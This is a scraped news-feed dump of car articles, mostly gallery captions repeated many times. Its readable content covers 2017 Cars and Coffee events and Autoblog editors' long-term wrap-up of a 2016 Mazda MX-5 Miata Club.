Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel–2016 Nissan Titan XD 4x4 diesel—

]]> https://briefnews.eu/2016-nissan-titan-xd-diesel-long-term-road-test-wrap-up/feed/ 0 2016 Honda Civic Sedan Long-Term Wrap-Up: We Finish 40K Miles with Honda’s Compact https://briefnews.eu/2016-honda-civic-sedan-long-term-wrap-up-we-finish-40k-miles-with-hondas-compact/ https://briefnews.eu/2016-honda-civic-sedan-long-term-wrap-up-we-finish-40k-miles-with-hondas-compact/#respond Sat, 02 Dec 2017 04:45:46 +0000 http://briefnews.eu/2016-honda-civic-sedan-long-term-wrap-up-we-finish-40k-miles-with-hondas-compact/

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Since the arrival of the Honda Civic nameplate in the United States in 1973, more than ten million of the small cars have provided Americans with efficient and reliable transportation. The Civic’s core mission is not an exciting one, but its success is largely based on its track record as a dependable tool for getting people where they need to go. READ MORE ››

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Car and Driver BlogCar and Driver Blog

]]> https://briefnews.eu/2016-honda-civic-sedan-long-term-wrap-up-we-finish-40k-miles-with-hondas-compact/feed/ 0 What We Did Last Summer: A Wrap-Up of Our 2017 Cars and Coffee Events https://briefnews.eu/what-we-did-last-summer-a-wrap-up-of-our-2017-cars-and-coffee-events-4/ https://briefnews.eu/what-we-did-last-summer-a-wrap-up-of-our-2017-cars-and-coffee-events-4/#respond Sun, 01 Oct 2017 02:40:35 +0000 http://briefnews.eu/what-we-did-last-summer-a-wrap-up-of-our-2017-cars-and-coffee-events-4/ –What We Did Last Summer: A Wrap-Up of Our 2017 Cars and Coffee Events–What We Did Last Summer: A Wrap-Up of Our 2017 Cars and Coffee Events–What We Did Last Summer: A Wrap-Up of Our 2017 Cars and Coffee Events–What We Did Last Summer: A Wrap-Up of Our 2017 Cars and Coffee Events–What We Did Last Summer: A Wrap-Up of Our 2017 Cars and Coffee Events–What We Did Last Summer: A Wrap-Up of Our 2017 Cars and Coffee Events–What We Did Last Summer: A Wrap-Up of Our 2017 Cars and Coffee Events–What We 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Events–What We Did Last Summer: A Wrap-Up of Our 2017 Cars and Coffee Events–What We Did Last Summer: A Wrap-Up of Our 2017 Cars and Coffee Events—

Car and Driver BlogCar and Driver Blog

]]> https://briefnews.eu/what-we-did-last-summer-a-wrap-up-of-our-2017-cars-and-coffee-events-4/feed/ 0 What We Did Last Summer: A Wrap-Up of Our 2017 Cars and Coffee Events https://briefnews.eu/what-we-did-last-summer-a-wrap-up-of-our-2017-cars-and-coffee-events-3/ https://briefnews.eu/what-we-did-last-summer-a-wrap-up-of-our-2017-cars-and-coffee-events-3/#respond Sun, 01 Oct 2017 01:40:38 +0000 http://briefnews.eu/what-we-did-last-summer-a-wrap-up-of-our-2017-cars-and-coffee-events-3/ Cars and Coffee Music Factory

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Summer is once again over, and so are our annual Cars and Coffee festivities. For the second year in a row, Car and Driver teamed up with M1 Concourse in Pontiac, Michigan, to host four separate Cars and Coffee events at the private racetrack’s facility. A fifth Cars and Coffee was held at the Inn at St. John’s in Plymouth, Michigan, in conjunction with the the Concours d’Elegance of America.

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Unsurprisingly, each event served as a gathering point for hundreds of car enthusiasts who swapped stories over coffee and fine machinery. Highlights included everything from the all-new, 647-hp Ford GT to a classic right-hand-drive Toyota MasterAce Surf van and everything in between.

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Seriously, our Cars & Coffee events brought out a variety of rare and strange cars and trucks that regularly managed to blow our jaded minds. Don’t believe us? Have a look for yourself by clicking through the photo gallery.

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Cars-and-Coffee-Music-Factory-REEL

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Car and Driver BlogCar and Driver Blog

]]> https://briefnews.eu/what-we-did-last-summer-a-wrap-up-of-our-2017-cars-and-coffee-events-3/feed/ 0 What We Did Last Summer: A Wrap-Up of Our 2017 Cars and Coffee Events https://briefnews.eu/what-we-did-last-summer-a-wrap-up-of-our-2017-cars-and-coffee-events-2/ https://briefnews.eu/what-we-did-last-summer-a-wrap-up-of-our-2017-cars-and-coffee-events-2/#respond Sat, 30 Sep 2017 02:47:49 +0000 http://briefnews.eu/what-we-did-last-summer-a-wrap-up-of-our-2017-cars-and-coffee-events-2/ –What We Did Last Summer: A Wrap-Up of Our 2017 Cars and Coffee Events–What We Did Last Summer: A Wrap-Up of Our 2017 Cars and Coffee Events–What We Did Last Summer: A Wrap-Up of Our 2017 Cars and Coffee Events–What We Did Last Summer: A Wrap-Up of Our 2017 Cars and Coffee Events–What We Did Last Summer: A Wrap-Up of Our 2017 Cars and Coffee Events–What We Did Last Summer: A Wrap-Up of Our 2017 Cars and Coffee Events–What We Did Last Summer: A Wrap-Up of Our 2017 Cars and Coffee Events–What We Did Last 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Last Summer: A Wrap-Up of Our 2017 Cars and Coffee Events–What We Did Last Summer: A Wrap-Up of Our 2017 Cars and Coffee Events—

Car and Driver BlogCar and Driver Blog

]]> https://briefnews.eu/what-we-did-last-summer-a-wrap-up-of-our-2017-cars-and-coffee-events-2/feed/ 0 What We Did Last Summer: A Wrap-Up of Our 2017 Cars and Coffee Events https://briefnews.eu/what-we-did-last-summer-a-wrap-up-of-our-2017-cars-and-coffee-events/ https://briefnews.eu/what-we-did-last-summer-a-wrap-up-of-our-2017-cars-and-coffee-events/#respond Sat, 30 Sep 2017 01:48:13 +0000 http://briefnews.eu/what-we-did-last-summer-a-wrap-up-of-our-2017-cars-and-coffee-events/ Cars and Coffee Music Factory

–

Summer is once again over, and so are our annual Cars and Coffee festivities. For the second year in a row, Car and Driver teamed up with M1 Concourse in Pontiac, Michigan, to host four separate Cars and Coffee events at the private racetrack’s facility. A fifth Cars and Coffee was held at the Inn at St. John’s in Plymouth, Michigan, in conjunction with the the Concours d’Elegance of America.

–

Unsurprisingly, each event served as a gathering point for hundreds of car enthusiasts who swapped stories over coffee and fine machinery. Highlights included everything from the all-new, 647-hp Ford GT to a classic right-hand-drive Toyota MasterAce Surf van and everything in between.

–

–

Seriously, our Cars & Coffee events brought out a variety of rare and strange cars and trucks that regularly managed to blow our jaded minds. Don’t believe us? Have a look for yourself by clicking through the photo gallery.

–

Cars-and-Coffee-Music-Factory-REEL

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Car and Driver BlogCar and Driver Blog

]]> https://briefnews.eu/what-we-did-last-summer-a-wrap-up-of-our-2017-cars-and-coffee-events/feed/ 0 2016 Mazda MX-5 Miata – Long-Term Road Test Wrap-Up https://briefnews.eu/2016-mazda-mx-5-miata-long-term-road-test-wrap-up/ https://briefnews.eu/2016-mazda-mx-5-miata-long-term-road-test-wrap-up/#respond Tue, 19 Sep 2017 19:06:53 +0000 http://briefnews.eu/2016-mazda-mx-5-miata-long-term-road-test-wrap-up/ –2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata 2.0-liter inline-4 engine–2016 Mazda MX-5 Miata 2.0-liter inline-4 engine–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata–2016 Mazda MX-5 Miata 2.0-liter inline-4 engine–2016 Mazda MX-5 Miata 2.0-liter inline-4 engine–2016 Mazda MX-5 Miata 2.0-liter inline-4 engine—

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]]> https://briefnews.eu/2016-mazda-mx-5-miata-long-term-road-test-wrap-up/feed/ 0 2016 Mazda MX-5 Miata Club long-term wrap-up | Farewell, fun friend https://briefnews.eu/2016-mazda-mx-5-miata-club-long-term-wrap-up-farewell-fun-friend/ https://briefnews.eu/2016-mazda-mx-5-miata-club-long-term-wrap-up-farewell-fun-friend/#respond Fri, 25 Aug 2017 18:17:53 +0000 http://briefnews.eu/2016-mazda-mx-5-miata-club-long-term-wrap-up-farewell-fun-friend/

About one year ago, we took delivery of a 2016 Mazda MX-5 Miata. We made sure we got the sportiest version we could, the Club model (which includes Bilstein shocks, a limited-slip differential and a front shock tower brace) with optional BBS wheels and Brembo brakes. We also sprung for the appearance package to give our cute little roadster a modicum of aggression. It was a tad pricey at $ 32,835, but we enjoyed every minute of it. Well, almost every minute of it. It’s not a perfect car, as it’s loud and stiff on the highway, and we ran into an issue in which the top had to be replaced (under warranty). But minor grievances aside, just about everyone who drove the little roadster came back with a smile, especially when we took it to a racetrack. Below are final thoughts on the car from our editors.

Senior Green Editor John Beltz Snyder: This car is about as car as any car gets. It’s so car! That is to say, it’s pure in its mission and in its effective execution as a driver’s plaything. Its crisp steering, snickety six-speed manual gearbox, and rev-happy engine create the wonderful sensation that you’re driving faster than the speedometer reads. Normal speeds never felt so heroic. The view out the front is fantastic, too, and the curves of the hood are nothing short of inspiring as they frame the road ahead.

I don’t care that it’s noisy, jarring, and ergonomically weird. Old and British in spirit, it offers a level of engagement that’s hard to find in a new car, especially for under $ 30,000.

Anyone who has a Miata in their stable isn’t lucky. They’re smart.

Senior Editor Alex Kierstein: I’m a bit embarrassed to think back to my first impressions about driving the MX-5 now that I’ve had so much seat time in this one. While I loved the idea of it as a throwback to the original NA Miata from the moment it was revealed, I was a bit turned off by how civilized it was. And how quick it was. No longer a momentum car, the new MX-5 seemed more forgiving of bad gear selection or a bad corner entry. I felt like something had been removed, a ragged edge, some everyday engagement.

Well, a year on, and my feelings have changed. If you stop comparing it directly to the (slow, weedy, rattly, uncomfortable) first- and second-generation cars, it’s a brilliant little roadster. I miss the raw edge less and enjoy the livability more — the raw edge was really just a lack of civility. A flaw that forced you to engage with the thing every moment. The new MX-5 can sometimes recede into the background, and it just becomes a little car that you can tool around in. But boot it around a few corners and it speaks to you more clearly, because there’s less static between you and its lovely dynamics. I think the engagement is deeper despite being more subtle.

Subtlety isn’t something often appreciated in this horsepower boom era. And if it were my money, I think the rawness of the early 1.8-liter cars appeals to me a bit more. But I was wrong to dismiss the new MX-5 as too civilized. It’s a brilliant roadster with few flaws and loads of charm. It’s something you can live with every day, in at least three seasons, and should even appeal to sportscar-allergic friends or family. Pound for pound and dollar for dollar, there’s no higher concentration of fun around. I’ll miss this little guy.

Associate Editor Joel Stocksdale: I’m going to miss this thing. Even though it’s not ideal for long drives or daily commuting on rough roads, it’s just so hilariously fun. As cliche as it is, it really feels like a go-kart, and honestly the rough ride supports that feeling. Of course, its diminutive size and wicked quick reflexes are also contributing factors. The engine is a sweetheart, and feels way more potent than its 155-horsepower rating suggests. It’s enough to push you in your seat, and enough to get it sideways at street-legal speeds. It even has a good exhaust note that finds the perfect spot where it’s audible, but won’t bother the neighbors. The only weak points are noise and refinement, and the Grand Touring trim and RF body style go a long way to rectifying those issues. If you’re looking for a fun toy that will be reliable, affordable, and economical, you can’t go wrong with a Miata.

Autoblog General Manager Adam Morath: The Mazda MX-5 Miata is one of my favorite cars on the market. As an affordable RWD roadster, it’s differentiated. The execution is spot on — only improved by the recent redesign.

In other words, the Miata delivers on its promises. And what it promises is fun and different.

It’s still too noisy (almost seems like it’s gotten worse, but I haven’t driven it back-to-back w/ the old model) and can feel a bit cramped with the top up. I had acceptable headroom, but my elbowroom sometimes felt a bit infringed upon. Also, I’d love to see Mazda update what feels like an aftermarket radio. That said, these are small gripes considering Miata is a near-perfectly executed, affordable sports convertible. Highly recommended for those in warm climates.

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